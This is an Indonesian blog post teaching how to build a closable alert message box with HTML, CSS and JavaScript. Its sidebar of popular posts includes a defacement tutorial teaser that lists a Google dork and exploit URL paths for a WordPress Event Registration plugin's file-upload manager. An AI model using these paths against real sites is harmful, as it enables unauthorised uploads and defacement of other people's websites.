Skip to main content

Cara Membuat Alert Messages Box JavaScript

Hai semuanya, kali ini Saya Akan Memberikan Tutorial Cara Membuat Alert Messages Box Dengan JavaScript. Ok langsung saja Kita mulai Tutorial nya Berikut ini.
Langkah Pertama
Langkah pertama kali ini adalah membuat sebuah file baru dengan extensi *html.
Kemudian ketikkan kode berikut ini.
<!DOCTYPE html>

<html>

<head>

<title>Alert Messages Box Using JavaScript|EAGLEcodes</title>

</head>

<body>



</body>

</html>

Langkah kedua
Selanjutnya, Kita menambahkan Kotak Pesannya, Salin kode berikut.
<div class="pesan">

	<span class="tutup" onclick="this.parentElement.style.display='none';">&times;</span>

	Alert Messages Box Content....

</div>

Untuk text berwarna biru tersebut, kalian letakkan saja pesan yang ingin kalian buat.Letakkan Dibawah tag <body>.
Langkah Ketiga
Kemudian kita tambahkan CSS Nya, Untuk Membuat Tampilan Message Box nya lebih menarik di lihat.
<style type="text/css">

.pesan {

  padding: 20px;

  max-width:50%;

  text-align:left;

  background-color: #129AA8;

  color: #FFF;

  margin-top:50%;

  margin-left:24%;

  margin-bottom: 15px;

}

.tutup {

  margin-left: 15px;

  color: white;

  font-weight: bold;

  float: right;

  font-size: 22px;

  line-height: 20px;

  cursor: pointer;

  transition: 0.3s;

}

.tutup:hover {

  color: red;

}

</style>

Letakkan CSS Nya diatas Tag </head>.
Langkah Ke-empat
Langkah terakhir, menambahkan JavaScript nya.
Salin kode javascript berikut ini.
<script>

var close = document.getElementsByClassName("tutup");

var i;

for (i = 0; i < close.length; i++) {

  close[i].onclick = function(){

    var div = this.parentElement;

    div.style.opacity = "0";

    setTimeout(function(){ div.style.display = "none"; }, 600);

  }

}

</script>

Letakkan dibawah Tag </head>.
Save File nya Dan coba Jalankan Dibrowser Kalian Masing.
Hasilnya akan seperti ini:
Sekian dulu pada artikel kali ini. Semoga bermanfaat.Baca Juga: CARA MEMBUAT TEXT MENGETIK SENDIRI DENGAN JAVASCRIPT
Labels:

Comments

Post a Comment

Popular posts from this blog

Cara Membuat Text Berkedip Dengan JavaScript

Hai sobat codes , kali ini mimin Bakal Share Sebuah Tutorial Bagaimana Sih Caranya Membuat Sebuah Text Berkedap Kedip Hanya Dengan Menggunakan JavaScript, Untuk Memulai Membuat Text Berkedap Kedip, Buat Lah Sebuah File Baru Dengan Nama Sesuai Keinginan kalian. Berikan extensi file tersebut dengan extensi HTML. Contoh : berkedip.html Langkah Pertama Copykan Code HTML berikut ke file yang telah Kalian Buat. <!DOCTYPE html> <html> <head> <title>Contoh Text Berkedip</title> </head> <body> </body> </html> Langkah Kedua Kemudian, Tambahkan Kode JavaScript Berikut ini. <script src="http://code.jquery.com/jquery-latest.js" type="text/javascript"></script> <script> setInterval(function(){      $(".kedip").toggle(); },400); </script> Letakkan dibawah tag <body> . Baca Juga:  Cara Redirect Halaman Web Menggunakan JavaScript Langkah Ketiga Untuk Membuat Text nya menjad...
Post a Comment
Baca Lebih Lanjut »

Deface Metode Responsive Filemanager

Deface Metode Responsive Filemanager Sesuai dengan judulnya kali ini Mimin Bakal Share Tutorialnya kali ini.
Baca Lebih Lanjut »

Deface metode WP Event Registration File Upload

Kali ini Mimin Bakal Memberikan tutorial Deface Lagi. Oke dari pada berlama-lama, langsung saja ke tutorialnya. Dork: inurl: /wp-content/plugins/event-registration/jscripts/tiny_mce *Kembangin Dork Bila Perlu Exploit: Exploit 1 => /wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/frameset.php?a=b&js=mcFileManager.insertFileToForm&initial_path=mce_clear&initial_rootpath=mce_clear&remember=true Exploit 2 => /wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/upload.php?path=/home/[DIRECTORY-NAME-HERE]/public_html/wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/files Exploit 3 => /wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/frameset.php?a=b&js=mcFileManager.insertFileToForm&url=/wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/Select%20file&initial_path=mce_clear&initial_rootpath=mce_clear&remember=true La...
Post a Comment
Baca Lebih Lanjut »